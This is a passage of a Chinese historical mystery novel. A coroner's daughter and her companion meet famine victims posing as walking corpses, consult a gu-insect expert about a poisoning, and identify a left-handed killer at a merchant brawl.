池楚浠去后院看马儿,她给了钱让店家给马儿喂些粮草。
刚到后院的马厩,她发现白蓉绒的两个随从也在,他们抬着一个铡刀放在食槽前,将一捆捆的粮草铡细。
这铡刀……
池楚浠仔细看去,这不是大晟朝的东西,莫非又是白蓉绒发明的,和那杀人的三棱刺一样……
自己和景序昭的马儿吃的粮草是粗糙的,是店家直接扔进槽里的。
一随从朝池楚浠看来,笑道:“池娘子需不
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需要我们给你的粮草也切一切,白夫人说马匹是草食动物,对食物的消化和吸收能力一般,需以切短,泡软或粉碎的方式加工后才能喂饲。”
池楚浠道:“那劳烦二位了。”
她上前塞了些钱给这两位随从。
“这铡刀在哪儿可以买到?”
一随从道:“买是可以买,不过要在长安买,这铡刀是咱们白夫人发明出来的,目前也只有长安有售。”
池楚浠微微点头:“多谢二位告知。”
两位随从收了钱,便把池楚浠的草料捞过来一起处理。
从后院回来时会经过邸舍的左边廊下,夜风吹来,周围的气温瞬间就降了许多,池楚浠感到一阵阴冷。
奇怪的是,伴随而来的还有一股尸臭味,像是腐尸。
正要准备上楼时池楚浠停住了脚步,她见着景序昭正从余县尉房间里出来。
景序昭往外看了一眼,神情不太对劲。
池楚浠放弃上楼,转身朝邸舍大门走去。
店家在后面道:“小娘子这么晚了还要出去啊?”
池楚浠还没来得及说什么,外面就传来敲门声。
“咚、咚、咚。”
一种奇怪的敲击声,不像正常人敲门。
店家疑惑着走了出来,嘴里嘀咕:“这么晚了还有人住店,没房了呀。”
店家正要去开门告诉外面的客人没房了,池楚浠就拉了他一把。
“不要开门。”
见池楚浠神情严肃,店家有些摸不着头脑。
池楚浠问:“你没闻到味道吗?”
“味道?”店家伸着脑袋嗅了嗅,一股难闻的味道瞬间冲入鼻腔。
怪自己刚才没留意,这会儿深吸一口差点没把自己恶心吐了。
“什么东西,这么臭!”
“哐!”的一声,外面似乎刮起了一阵大风,吹得木板门直发颤。
店家吓得一抖:“刮什么妖风。”
池楚浠感觉肩头被人拍了拍,偏过头便看见景序昭护在了她侧前方。
外面的风继续猛刮,门持续作响。
店里点着的几支蜡烛火苗晃晃悠悠的,终于火苗在剧烈的摇晃下尽数熄灭了。
楼上的人也察觉到了动静,白蓉绒和季沐风此刻正顺着楼梯下来,侍卫们在屋中围了半圈。
店家拿着火折子要去点蜡烛,门板突然被剧烈地撞击,店家的脚步都僵在了原地,他还是头回遇到这样的事,免不了狐疑地举着火折子四下看看周围的人。
景序昭已然拔出刀握在手里,若是此刻门被撞开,他将会是第一个提刀劈过去的人。
店家蜡烛也不敢去点了,就这样僵在景序昭身后。
“几位贵客,这到底是什么回事,是不是你们招来的?”
景序昭不清楚,他回头看了看白蓉绒他们,见他们那群人也是一脸茫然。
猛烈的撞击声戛然而止。
安静等了片刻,又响起了敲门声,相比第一次响起的敲门声,这次的声音要正常许多,更有人气。
“咚咚咚、咚咚。”
店家犹豫着问:“开还是不开?”
景序昭点点头。
店家很有防范意识,站到旁边去拉门栓。
门栓一拉,一阵阴风瞬间将门吹得大开。
腐烂的味道随风裹挟着整个房间。
16. 如此误会
“啊!”
店家惊慌失措的喊叫声让所有人的心都提到了嗓子眼。
他吓得向后跌坐在地,紧接着又立刻朝前叩拜:“饶命啊饶命,你们冤有头债有主,不要来找我。”
“白僵尸。”池楚浠道。
景序昭紧张地握紧了手中的刀,随时准备将外面街道上的一群僵尸劈个粉碎。
有朦胧月光照耀的街上,站着一排排双手前伸的人影,能看出他们个个都骨瘦如柴,约莫有二三十人。
那些尸臭味就是从他们身上散发出来的。
白蓉绒的侍卫们几乎吓破了胆,个个拔刀时手都在颤抖,没人敢向前一步。
“饶命……饶命啊。”
店家还不停地朝门外磕头。
池楚浠悄悄握了一下景序昭的手腕,道:“阿兄,先别动手,他们已经是尸体了,不可能伤人。”
景序昭嗯了一声,算是回应她。
季沐风浑身直冒冷汗,不由得抓紧了白蓉绒的手。
白蓉绒眉头皱起,对身边的侍卫们道:“这世上根本没有鬼神,不必惧怕,眼下必定是有人在装神弄鬼,都给我拿好刀站稳了,不许抖!”
侍卫们应着是,但没有一个人心里不发虚。
忽然,从僵尸中走出一个人来,他缓步朝邸舍大门靠近。
景序昭将池楚浠揽至身后。
“何人故弄玄虚?”景序昭提刀威胁质问。
那人终于走上前来,他的面容在景序昭眼里更为清晰,正是傍晚在十字路口发糖的阿翁。
“是你。”景序昭把刀暂时往回收了两分:“为何装神弄鬼出来吓人?”
阿翁忽地跪在景序昭面前,随着他一个手势,身后的几十具僵尸也纷纷跪下,都朝着景序昭的方向。
阿翁领着僵尸们一起跪在地上磕头。
“求官爷为丹水灾民做主!”
“求官爷可怜可怜还活着的人,这些死了的没处安葬就算了,我一介老头子,也是快死了的,也不为自己求什么,但这里还有年轻人,还有许多孩子们。”
阿翁又磕了一个。
他指着身后的僵尸道:“这些人死了,但他们的子孙还活着,我领着他们来给你们磕头,为孩子们求一条活路。”
白蓉绒上前道:“你还想怎么求,朝廷不是已经赈灾了吗,据说每日都有往丹水派赈灾粮。”
景序昭收起刀,双手去扶阿翁:“起来说话。”
阿翁牢牢跪在地上:“让我跪着吧,是老头子要求你们,应该跪着。”
景序昭道:“可是赈灾粮不够?”
阿翁说话间已带了哭腔:“粮食隔三差五发一次,每家每户领取的口粮少得可怜,好多人都是活活饿死的。”
池楚浠还记得灾民们手里拿着的粮袋,袋子倒是挺大,可看起来却是瘪的。
“丹水今年受灾,没有收成,大水冲了下游,绒宁那边的百姓也受牵连,不少人北上,我也是被迫迁来的,可不曾想到了这边领的救济粮也不够。”
白蓉绒道:“据我所知,朝廷只拨了给丹水的粮,并未将绒宁百姓算在内,具体的事还得问沙洲刺史。”
景序昭再次去扶阿翁:“起来吧老人家,我会将此事告知朝廷。”
景序昭力气比阿翁大,硬是将他扶了起来。
阿翁道:“我们这些老头子死了就算了,可孩子们还小,多可惜啊。”
景序昭道:“无论是何原因,朝廷定会给你们一个交代,快将这些白僵尸都撤了吧,别吓着附近的百姓。”
阿翁含泪点头。
“阿翁请慢。”池楚浠道,“宝田宝山二人的赶尸术可是跟你学的?”
阿翁愣了一下,很快就想起了那两兄弟,他道:“是,我曾让他们帮忙赶尸,送亡人回家。”
“他们二人可是出什么事了?”
池楚浠道:“没事,他们挺好的,您先把白僵尸撤了吧,灾民一事景大人会上报朝廷。”
阿翁嘴里小声地吹着哨子,白僵尸们就齐刷刷地起身朝同一个方向跳去。
坐在地上的店家也渐渐回过神来,他赶紧重新点上蜡烛,让店内充满了光明。
趁着白蓉绒他们都回房间后,池楚浠悄悄从后门出了邸舍。
景序昭随之跟上她的脚步。
阿翁还未走远。
“阿翁请留步。”池楚浠小跑上前。
“我想跟阿翁请教一件事。”
“小娘子请说。”
“要让尸体行走可是需要利用蛊虫?”
阿翁点点头:“是,将蛊虫放置在尸体的关节处,赶尸人可操控蛊虫让尸体行走跳跃。”
池楚浠掏出竹筒,将里面的东西递给他看:“阿翁可认得这是什么,是蛊虫么?”
阿翁凑近了去看,景序昭把手中提着的灯笼拿近给他照明。
“这……是蛊虫。”阿翁皱着眉头道,“不过这好像不是毒物,只是普通的蛊。”
池楚浠怔了怔:“普通的蛊……”
阿翁再次仔细看了几遍,甚至伸手碰了碰小虫的背脊,确定道:“是没毒,但具体是哪一种蛊我也不清楚,我也只是养一些赶尸蛊,平时替人家运运尸体,并不善巫蛊之道。”
“在东边有个慕容家,慕容执的夫人擅长此道,小娘子可以过去问问,不远。”
“多谢阿翁告知。”
回去时,景序昭提着灯照亮前路。
夜里的丹水街道上很是清冷,风是冷冽的,吹在脸上让人感到生疼。
池楚浠忍不住用手掌搓了搓两边脸颊。
景序昭道:“不必心急,既然两年后重查此案,那我们一定要有耐心,先去了慕容家再说。”
池楚浠嗯了一声。
第二日三队人马各自启程,余县尉带着不良人回公廨。
池楚浠和景序昭走了一段路又和白蓉绒他们碰上。
景序昭附在池楚浠耳边道:“去往沙洲方向的就这一条大路,只好忍一忍了。”
池楚浠看了景序昭一眼,扯了扯缰绳操控着马儿前行。
越是靠近沙洲路过的商队就越多,沙洲是一个较大的商队集散地。
在来来往往的队伍中,有一对母女格外显眼。
女孩约莫十六岁,看起来和池楚浠差不多,她体型较为瘦弱,但模样却生得漂亮,脸上有涂抹脂粉的痕迹,看起来更添了几分容色。
路过的人免不了会多看她几眼,但她并不在意旁人的眼神,只是笑着望向自己身旁的妇人。
“阿娘,歇歇吧。”少女道。
妇人笑吟吟地握着女儿的手:“好,歇歇。”
“喝水,吃点东西。”妇人把包袱里的食物和水都递给少女。
“阿娘吃,我不饿。”少女又把东西推了回来。
最后
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,妇人无奈地把东西分成两份,但自己那份干粮少得可怜。
少女摇摇水壶,水也没剩多少了,她一口没喝,硬把水壶塞进阿娘怀里。
池楚浠一直看着这一幕,心中颇有些动容。
是什么重要的事令两个女人一定要出门,连食物和水都不够却还要前行。
景序昭见她看得认真,便抛了一壶水过来。
池楚浠会意,让马慢慢走过去,弯腰递出水壶:“给你们,我们有多的。”
少女有些惊讶地抬头看来,她没有去接水壶,反而盯着池楚浠的面容看了许久,眼中有明显的羡慕。
妇人赶紧起身道谢,接过水壶后想去包袱里拿钱。
池楚浠道:“不必了,水我们多的是。”
妇人再次弯腰致谢:“多谢小娘子了。”
她拍拍旁边的少女:“晚吟,还不谢谢。”
少女这才反应过来,眼中尽是真诚:“多谢小娘子。”
池楚浠看着她笑了笑:“晚吟么,名字好听。”
少女也笑了:“宋晚吟。”
“池楚浠。”
说完,池楚浠调转马头随景序昭继续前行。
少女痴痴望着他们离去的方向,眼眶里渐渐湿润起来。
“阿娘,我头晕。”
妇人扶着她坐下,柔声道:“多歇歇,喝水。”
没多久,池楚浠便和白蓉绒他们分路了,池楚浠他们去往慕容家,白蓉绒他们前往沙洲腹地。
两人走上了一条小路,两匹马儿并行。
景序昭道:“你说的那种铡草料的铡刀长安的确有售,这件事流传挺广,是白蓉绒画的铡刀制作图纸,工匠照着打的,图纸交由公主敬献给了圣人。”
景序昭侧目看了她一眼:“怎么,你在长安时没有听说?”
“嗯。”池楚浠淡淡地应了一声。
她在长安的两年里只一心想着要做乖巧懂事的娘子,将来好嫁给意中人过一辈子,为夫君洗手作羹汤,料理他家中的一切琐事。
那两年里她只知道自己要嫁给季沐风,要做他的娘子,别的也不会去过问。
就连季沐风在外与白娘子等朋友交好的事她也不会多嘴去问,真正做到了温柔贴心,像所有已嫁做人妇的女子学习。
那两年即便是知道景序昭也在长安,她也从未去找过他,因为她深知不可与别的男人私下来往,这会对季沐风的名声有损。
可惜……
池楚浠忽地笑了:“从前待在长安做安分的闺阁女子,是我糊涂了,原来你们都是喜欢聪明有才学又声名远播的小娘子。”
景序昭忽地扯了池楚浠的缰绳一把,让她的马儿与自己的马靠近。
“我说什么了,你要如此误会我。”景序昭干脆直接扯住池楚浠那边的缰绳,让两匹马儿挨得更近,“白娘子纵使有些非同寻常的见识,但她不如你有咏絮之才、兰心蕙质、颖悟绝伦、秀外慧中。”
池楚浠被逗得噗呲一笑,一把夺回缰绳,策马跑开:“谁让你这般夸我。”
景序昭策马跟上,大声道:“我还夸少了,你可知你身上有一种不为人知的品质?”
池楚浠迎着风问:“是什么?”
景序昭朗声道:“愿得此身长报国,何须生入玉门关!”
池楚浠听了久久不能回神。
愿得此身长报国,何须生入玉门关……
17. 互相作用
景序昭望着马背上的少女,唇角挂上一抹笑意,普天之下,除了他无人知晓池楚浠竟是这样的小娘子。
丹水封镇之时,她敢舍性命为他人换取一个活着的机会,遇不明之案,会追查到底,甚至愿为恶人洗清冤屈,即使她很怕死,她也会去做。
她才是那个不同凡响的小娘子,只是隐没在偌大的长安城中了。
前路是旷野,是适合她的地方。
景序昭加速追了上去,与她并肩前行。
慕容执隐居,住所在一个僻静的地方,周围山清水秀,草木芳香。
刚来到院门口,一个小男孩儿就站在院中问:“你们是谁,这是我家,不许进来。”
景序昭牵着马上前道:“小郎君,我们求见你阿耶阿娘,快去告知一声。”
说着,他从兜里掏出一颗果糖扔过去,稳稳地砸进小孩儿怀里。
“我这就去!”小男孩儿揣着糖跑进屋。
从屋里出来的是个中年男人,头发和胡须都蓄得很长,他并不是很热情地朝池楚浠他们看来。
“两位有何事?”慕容执连院门都没开,直接站在半透的篱笆墙里问道。
景序昭亮出手中的玉符给他看,并道:“玄空弟子求见向夫人。”
“岳逸钦是吧。”慕容执打开了篱笆门,“进来吧,他都多年不与我娘子联系了,现在叫你找上门来做什么?”
景序昭收起玉符道:“我师父他老人家公务繁忙,我也许久不曾见过他了,今日小辈登门拜访是有一事想请教向夫人,还请向夫人施以援手。”
慕容执招了招手,示意他们跟着他进屋。
他倒了杯茶就往自己喉咙里灌,不过并没有请景序昭二人喝茶的意思。
“我夫人在后山,一时不得空出来,要么在这里等,要么你们进后山去。”
景序昭道:“我们去见向夫人吧,劳烦慕容前辈给我们指个路。”
慕容执随口道:“就一条路,绕到房子后面就看见了,有个山洞,你们自己进去。”
说着,他突然换上警告的语气:“我夫人鼓捣的那些东西当心会要了你们的命,我都不敢轻易去寻他,你们自己决定。”
景序昭朝池楚浠看去,见她眉头微微皱着,神情有些紧绷,她有些焦急。
景序昭道:“我们时间紧迫,还是去寻她吧。”
走之前,慕容执再次看了一眼景序昭身上的玉符,随后丢了两个香包给他,并道:“带着,驱虫。”
“多谢前辈。”
“走吧,楚浠。”
来到屋后,眼前就是一条通往林间山洞的小路,周围树木茂密,土壤湿润肥沃,是极容易滋养虫类的。
景序昭弯腰将香包往池楚浠腰间系。
池楚浠垂眸,目光便落在景序昭面庞,他系绳子的动作不太熟练,把绳子绕了几圈还没弄好。
“我自己来吧……”
池楚浠探出手去接香包,但香包还被景序昭牢牢握在手里,他仍在认真地系绳子。
景序昭顺势把池楚浠的手拍开,不让她掺和。
池楚浠手背被打了一下,往回缩了缩。
“好了。”
景序昭扯了扯香包,确认它已牢固。
他那双好看的眼睛盯着池楚浠,似乎带了些笑意:“我不太会佩戴这些你可别笑话我。”
刚说完,就听见池楚浠噗呲一声笑了。
“阿兄回到长安后便是景家的嫡系子孙,戴配饰这种小事必定是贴身婢女代劳,你不会戴实属正常。”
“关贴身婢女何事。”景序昭眼中的笑意敛了下去,“我屋中没有贴身婢女,只有小厮。”
池楚浠当着他的面露出震惊的神色:“哦……小厮,原来,原来阿兄是这等爱好……”
“池楚浠!”景序昭大声道,“你脑子里在想什么!我屋中没有婢女不代表我好男风。”
“噗!”池楚浠掩嘴笑着,“这是你自己说的,何况我这么想也怨不得我,你都多大年纪了,寻常像你一样的郎君早就婚配了,你说你屋里没个贴身婢女,我难免冒出这样的想法。”
景序昭被她说得脸都红了,质问道:“我年纪很大?”
池楚浠盯着景序昭看,认真道:“倒也不大,不过也才二十几岁,比我大六岁罢了。”
池楚浠说完就往前走去,路窄,景序昭赶紧跟在她后边。
“所以你还是嫌我年纪大,那你认为多大年纪的郎君是好,和你同岁么,可那季沐风比我还大几岁,那岂不是老上加老。”
池楚浠加快了脚步,声音淡淡的:“我平白无故嫌弃你做什么,你又提他做什么。”
“我错了,我不提便是。”景序昭道。
大户人家的郎君基本都是有贴身婢女伺候的,即使没有成婚身边也必定有女人,不少人成婚前就已在婢女那里初经人事。
景序昭这么说倒是令池楚浠觉得怪异,他身边怎么会只有小厮没有婢女的。
正想着,便听见身后的人道:“师父曾推演过我的命盘,说我二十三岁前红鸾星未动,命犯孤辰寡宿,若强行结亲恐怕死于非命,于是我便以此说辞再添油加醋让家中撤去了贴身婢女,婚事就更不提了。”
池楚浠微微有些惊讶,回过头来看了他一眼:“你师父究竟是何方人士,当真算得准吗,景司空也信这等说法?”
“我师父曾在司天台任职,威望颇高,我父亲倒是对他的话深信不疑,否则当年也不会因为别的事把我送出长安养在外面。”
前路宽敞了一些,可以两人并排行走,景序昭快步走到池楚浠前面,转过身来与她面对面,自己则倒着走了几步。
他盯着池楚浠道:“我师父他算命很准,前些日子我的确动了成婚的念头,若真那么做,恐怕现在已经在牢里蹲着了。”
池楚浠露出一个疑惑的眼神:“成婚和蹲大牢有何直接关联?”
景序昭转过身正常走路,与池楚浠的步调保持一致。
“天机不可泄露。”
池楚浠笑了笑:“细细算来你正好已过了二十三岁,那岂不是可以不必为此事烦忧,你看上哪家娘子便可以上门提亲了。”
景序昭语气轻快地往上挑了挑:“说的是。”
洞穴入口并不是很隐秘,一走过来便看见了。
从洞穴上方垂下来一些藤蔓,微风一吹它们便像帘子一样轻微晃动。
景序昭拦了池楚浠
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一下,将人往身后护了护:“有蛇。”
池楚浠这才看见倒挂在藤蔓上的小蛇,它有着黑白的纹路,应当是有毒的。
池楚浠低头看了看腰间的香囊,拂开了景序昭护着她的胳膊,“没事,让我试试。”
她试探着往前走了一步,那蛇果然缩了回去。
“慕容前辈给的香囊是有用的,想必这里面蛇虫鼠蚁颇多。”
走进洞穴,一股阴风就从背后刮过。
潮湿的泥土味道很清晰地钻进鼻腔,突然,周围响起窸窸窣窣的杂音。
“你们是谁?”
女人的声音从前方传来,但还没看见人影。
景序昭道:“晚辈是岳逸钦的徒儿,前来拜会向夫人,有事想请教向夫人。”
女人从洞穴深处走了出来,她穿着一身干净利落的红衣裳,有些耀眼。
向知也扫了一眼他们二人腰间的香囊,知道是自己夫君引他们过来的,便放下了许多戒心。
“岳逸钦那个老不死的这么多年去哪儿了,可还在长安司天台任职?”
“师父他老人家早已离开司天台,眼下忙活自己的事去了,晚辈这次来得匆忙,没给您带礼,日后若有用得着我的地方,必当尽心竭力。”
向知也笑了声:“废话少说,要问我什么赶紧问,我这儿还忙着呢。”
池楚浠递过去一只竹筒。
“向夫人,这里面有一只蛊虫,请您看看它的来历,是用做什么的?”
向知也揭开竹筒盖子,望向那竹筒里的虫子。
她一看便笑了:“哟,这是从尸体里掏出来的,这可是好东西,谁养的,竟养得这么好。”
她抬头看向池楚浠道:“你拿尸体喂养的?不如卖给我,你开个价。”
“不是我养的,向夫人,这虫子有何来头?”
“就是普通的小蛊虫,在沙洲有人专养这种蛊,种入活人体内可让人神志不清或产生幻觉。”向知也道,“其实也就是它在人身体里游走时影响了人的肢体,从而做出一些不同寻常的事来。”
“但这只蛊与其他的小蛊虫不同,它的体型比同类型的蛊虫大了一倍,我一看就知道它是在死人尸体里长过一段时间的,从普通蛊的身价一跃至稀有蛊,很难得。”
池楚浠道:“那这虫有毒吗,可会导致人死后尸骨变浅青色?”
向知也摇摇头:“这倒不会,此蛊无毒。”
“等等……尸骨呈浅青色?”
“那倒是有一种可能,此蛊被种入体内后,此人服用了毒杀蛊虫的药物,但没能将它杀死,蛊虫便将药物作用反噬,在人死后产生毒性。”
池楚浠一惊,片刻后,眼眶红了。
“他是服用过药物,我这里有药方,您看看。”
池楚浠递过去早就准备好的药方,向知也打开看了一眼,点头道:“常山、山豆根、落回,没错,这些可以杀死它,可惜它命大活下来了,如此一来,你这只蛊更值钱了。”
“若是当初它死了呢,尸体会怎么样?”池楚浠问。
向知也:“若药物杀死了蛊虫,尸骨便不会呈现出毒性,和普通尸体无异。”
景序昭道:“原来如此。”
18. 捅死老板
池楚浠看了看向夫人手中的竹筒道:“这蛊便留在夫人这里,我不收钱,当初用这只蛊的人是杀人凶手,若将来我要翻案,只希望夫人能拿出这只蛊为我作证,倘若夫人不愿多事,我也不强求,这只蛊依旧送给夫人。”
向知也把竹筒盖子盖上道:“看在岳老家伙的面子上,你就是不送,将来若需要我作证我也会跑一趟,权当还了那家伙从前的人情。”
向知也道:“不过小娘子,这蛊在尸体里这么一炼化,可不比寻常蛊虫,现在它已染了毒性,和从前不同了,它此时的厉害之处在于可杀人于无形。”
向知也盯着池楚浠道:“如今它不止能致幻,还能将人悄无声息地毒死,且查不出因何而中毒,是一只罕见的杀人利器,你当真不自己收着?”
池楚浠道:“不必了,我留着也无用处,既然已经给了夫人,岂有又收回来的道理。”
向知也笑笑,把竹筒揣进怀里:“好说,那我收着了,你若想找这蛊虫的来处就去沙洲问问,这年头养蛊的人不多了,也就那么几处。”
“岳老头的徒弟,你叫什么名字?”
“景序昭。”
“景小子,给我看看你们玄空派的玉符。”
来了这么久,景序昭还没主动跟向夫人证明过自己的身份,此时她竟才问起这个。
他摘下玉符给向知也看。
向知也扫了几眼便道:“好了,没事了。”
“今日多谢向夫人了,我和楚浠就先告辞。”
从慕容执家里出来后,池楚浠重新牵回了自己的马,两人一起踏上去往沙洲的路。
白蓉绒他们也是去沙洲,真是巧。
天色已经暗了下来,途中没有歇脚的逆旅,景序昭远远的瞧见村里一户亮着灯的人家,便叫上池楚浠寻了那户人家落脚,给了他们一些钱。
村里的庄稼户还算朴实,收了钱就立马腾出一间房来。
“郎君和小娘子就在这屋歇息,有什么需要的就到隔壁来唤我。”女主人道。
“多谢。”池楚浠道。
女主人离去时帮他们掩上了房门。
望着仅有的一张床,两人面面相觑,虽说之前在丹水镇同住过一屋,但那屋是多了一张榻的,而这个小屋里什么都没有,连多余打地铺的东西都没有,之前已经问过女主人了。
池楚浠道:“今后少不得要玷污了阿兄的声誉,阿兄以后可别怪罪我。”
景序昭愣了愣:“你玷污我的声誉?你倒是会倒打一耙,你是小娘子,你的声誉不比我的重要?”
池楚浠已经收拾收拾往床边坐去了,她的神色颇为淡然:“我是一个退过婚的女子,将来也没想过再嫁,对我而言这并无影响,倒是阿兄你,以后还要娶高官贵女的,旁人要说你闲话了。”
“睡吧阿兄。”
池楚浠选了里面靠墙的位置睡。
景序昭站在床边默默看了她片刻,吹灭了一旁的烛火。
黑暗中,景序昭道:“我们大晟朝的女子不比男子卑微,声誉之说不分大小,只是出门在外,一切从简。”
景序昭并未去床上歇息,而是寻了边上的位置坐下,没发出任何声音。
大晟朝的女子地位是与前几朝不同,但也还没到可以高过男子的地步。
哪怕当今公主想做皇帝也不是轻轻松松就能做到的,她谋求了多年也依旧比不过太子。
池楚浠轻轻地呼出一口气,小声道:“有阿兄陪着,我竟觉得胆子大了许多,哪怕白娘子如此与众不同,是个奇女子,我也觉得能从她那里寻到蛛丝马迹。”
景序昭也跟着放低了嗓音,声音仿佛就飘在池楚浠耳旁:“白蓉绒不似咱们大晟朝的其他女子,她有过人之处,见识与众不同,你的意思是你阿耶的死一定跟她有关?”
池楚浠还从未与景序昭说过阿耶到底是谁害死的,她看过梦境里的话本开头,知道谁是真凶,她需要求证,也需要向世人证明。
池楚浠沉默了片刻,她不知道该不该说。
景序昭却道:“当年崔尚礼及其属下全部死在苍山,是你父亲验的尸,验尸后他便殒命,这其中定是牵扯了不少,若说是白蓉绒所为那也说得过去。”
池楚浠在黑暗中转过脸来:“为何这么说,你知道她……”
景序昭:“我知她为公主做事,而崔尚礼则是太子的心腹,即便你一直不与我说,我也能猜到,你想调查白蓉绒拿到证据为你父亲报仇。”
“报仇一事我还不敢夸口,毕竟连你也夸她见识渊博,她会改良武器,制旁人制不了的东西。”
“改良武器?”景序昭惊了一下,“改良何种武器,我竟不知。”
这是池楚浠从梦境里得知的,想了想,她还是决定告诉景序昭:“是一种叫三棱刺的短刀,不过……也有可能是我记错了,你还是不要放在心上。”
那毕竟是梦境,父亲死亡的真相还未与梦境昭示的完全重合,池楚浠也不敢太过笃定地告诉景序昭那一定是已存在的事实。
“睡吧,阿兄。”
景序昭在黑暗中冥想,无论池楚浠说什么他都深信不疑,那白蓉绒一定是改良了一种短刀,叫做三棱刺,只是她并未将这种武器公之于众。
早晨,池楚浠醒来时并未看见景序昭。
“阿兄?”
池楚浠起床来开门,刚踏出门槛便遇到前来送水的屋主人,女人将水搬进屋里道:“妹子洗脸,你阿兄去替你寻干净衣裳了,我堂兄家有个小娘子与你差不多大,她的衣裳你应当能穿。”
“你阿兄当真会照顾人,不像我家大郎,欺负妹妹欺负惯了,从来不懂照顾幼小。”
“洗脸吧小娘子。”
池楚浠接过毛巾。
她有些尴尬地笑了笑:“我和阿兄常年行走在外,他已习惯了担起兄长的责任。”
胡乱解释一通,女人听了就更羡慕了,屡屡提起自家那个不懂事的大郎。
景序昭带着一套崭新的衣裳回来,他将衣裳递给池楚浠:“应当是合身的,只是款式一般。”
“你怎么拿了人家的新衣裳,这些丫头们一年到头都穿不了几身新衣裳。”池楚浠道。
“我给了钱的
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,他们很乐意,你就尽管穿,整日在外跑来跑去,你又没带多的行李,有身干净的衣裳换不好吗?”
“多谢阿兄。”
乡间女子的衣裳较为朴素,颜色中带了些粉嫩,穿在身上看总体还不错。
在这家人屋里吃了早饭,两人继续踏上了前往沙洲的路。
前方是进入沙洲城唯一的通道,但在大路口处却堵满了人,一片吵吵闹闹的杂音响个不停。
池楚浠拉住一个路人询问:“前方发生了何事?”
男人是个本地人的打扮,头上戴着防晒的帽子,他指着人群道:“有两个商队发生了争执,其中一队把另一队的老板捅死了,斗殴现场太过混乱,不知是谁动的手,这会儿拦着不让所有人走。”
景序昭还坐在马背上,视角高,看见了人群里的熟面孔。
“是季沐风他们。”
早知还会遇上,但没想到会在这种情况下相遇,季沐风他们堵住了路口,池楚浠不得不从这里经过。
景序昭领着她挤进人群,两队打架的人都被官兵围了起来,领头的官儿正在白蓉绒面前说着话。
白蓉绒扫了眼人群,看见了池楚浠,她对面前的人道:“郑司马,把人都带回州衙吧,全围在这里挡住了大家的去路,大家还要做生意呢。”
郑司马抬手跟属下示意:“把闹事的都带回州衙,我就不信挨个审还审不出凶手,都带走。”
季沐风对白蓉绒道:“浮光锦和月华锦是要带回宫里的,如今运送浮光锦的商人死了,还是尽早解决为好,早些将浮光锦和月华锦接到我们手中,以免后续出现其他纰漏。”
让郑司马把人全部带回去,不知何时才能断明白这桩案子,这倒是个麻烦事。
此时,季沐风也看见了人群中的池楚浠,眼神忽地亮了一下,他附在白蓉绒耳边小声道:“池娘子会验尸断案,不如让她瞧瞧。”
白蓉绒看向池楚浠,又看了看季沐风道:“季郎既然这么看得起池娘子,那就让她来试试。”
白蓉绒让郑司马把池楚浠唤来了,景序昭也跟着上前,就站在池楚浠侧后方。
郑司马问:“你会验尸?”
池楚浠点点头。
“来人,把尸体抬上来。”
浮光锦的肆主就是被捅死的这具尸体,此刻正用一张临时扯来的白布盖着。
池楚浠揭开白布,查看尸体的伤口,伤口在右肋,刺得很深,血染红了衣物。
“凶器呢。”池楚浠道。
有人递上来一把短刀,看形状,和伤口处的切口吻合,而且刀上也沾了血迹。
池楚浠仅仅对比了凶器和伤口是否吻合便起身,将刀还给了郑司马。
她道:“可以了,让他们都走吧,已经找到了凶手。”
“什么?”郑司马一脸茫然,接着有些恼怒:“小娘子你莫要胡闹,哪里就找到凶手了,荒谬。”
季沐风几步来到池楚浠面前,提醒道:“别玩闹了,不可得罪郑司马,也别耽误大家的行程,这案子断不清之前,那些无意卷入的百姓们也不能走。”
19. 病态少女
池楚浠抬眼看向季沐风:“我何时与你开过玩笑。”她有些冷脸道。
池楚浠对郑司马道:“让所有人排成一列,凡是签字交货后便可离去。”
白蓉绒没发话,看在她的面子上,郑司马没拒绝,只是道:“这位池娘子,他们的确是要交货到白娘子手中,但不必每人都签字,只需几个负责人签署便可。”
池楚浠是看着白蓉绒说话的:“为了让大家摆脱嫌疑,安安心心地交货,还是每人都签一次吧,毕竟人命关天,今后若再查证也好寻人。”
白蓉绒弯了弯嘴角,点头:“好,那就都签,季郎,拿册子来。”
所有人排成一列,官兵维持着秩序,不放跑任何一人,凡是签了字的都往前站。
月华锦的老板小心翼翼地问:“郑司马,我们签了字就无罪了是吗?”
郑司马:“是是是,往前排一排,等所有人签完了再走。”
两伙人刚才打了架,所有人看起来都有些狼狈,有不少人身上还有被殴打后的伤痕。
“池娘子,那不会写字的怎么办?”郑司马问。
池楚浠道:“不会写字的便画画,照着自己的模样画几笔。”
郑靖邦:“……”
白蓉绒饶有兴致地看来:“你这是什么招数,我竟从没听过,若你放跑了凶手,我就只能拿你交差了。”
池楚浠内心对白蓉绒是有许多警惕的,毕竟她太与众不同了。
景序昭道:“是你们先有求于她,办成什么样自然由她说了算,白娘子,你也是女中豪杰,不至于这般不讲道理吧。”
白蓉绒呵呵一笑:“原刑部左侍郎,既然你都这么说了,我还能强行怪罪她不成,我就等着看,池娘子到底要做什么。”
池楚浠没理睬她,只留意着每个在册子上写字画画的人。
两批商队都在签字,池楚浠挨个看去。
在斗殴过程中,不知是谁在混乱时掏出刀捅死了浮光锦商队的老板,杀人凶器被扔到一旁,谁也不承认是自己杀的。
池楚浠盯着签字的人,郑靖邦盯着池楚浠,想知道她说的凶手到底在哪儿。
若是放跑了凶手那他必定不会善罢甘休。
签完字的都排到前面去了,有点紧张地等着被司马宣判无罪,放他们离开。
一个年纪约莫三十五六的男人正在写字,这些常年跟随商队的男人大多数都是会写自己名字的,即便没读过书,但名字会学着写,有很多用得上的时候。
男人左手拿笔,下笔还算流畅,但字不怎么好看。
池楚浠看着他问道:“不曾读过书?”
男人一边写一边摇头:“不曾,但会写名字。”
池楚浠嗯了一声,继续看他写字。
“那只手会写字吗?”池楚浠问。
男人笑着摇头:“那只手不熟练。”
池楚浠没说什么,等着所有人都签完。
队伍已经从一边转移到了另一边,郑司马略带嘲讽地看向池楚浠:“你说的凶手呢,要把他们都放了?”
季沐风皱了皱眉道:“楚浠,我是信任你才向郑司马举荐你的,可莫要再胡闹了,赶紧告诉郑司马凶手是谁。”
景序昭冷冷地瞥向季沐风:“这么急,你怎么不自己上,把责任推到别人头上算什么本事。”
季沐风脸色一黑,他看不惯景序昭,但另一方面又不敢太得罪他,毕竟他们景家的势力在朝中太庞大了,就连白家也不敢轻易得罪他们。
池楚浠靠近景序昭,在他耳边说了几句话。
景序昭听完勾唇一笑,大步走入人群中,动作迅速地将其中一个男人的双手扣住。
景序昭把男人从人群中带了出来,朗声道:“凶手在此!”
郑司马:“?”
这正是那位左手拿笔之人。
季沐风愣了几秒,联想到方才池楚浠询问男人的那几句话,瞬间恍然大悟。
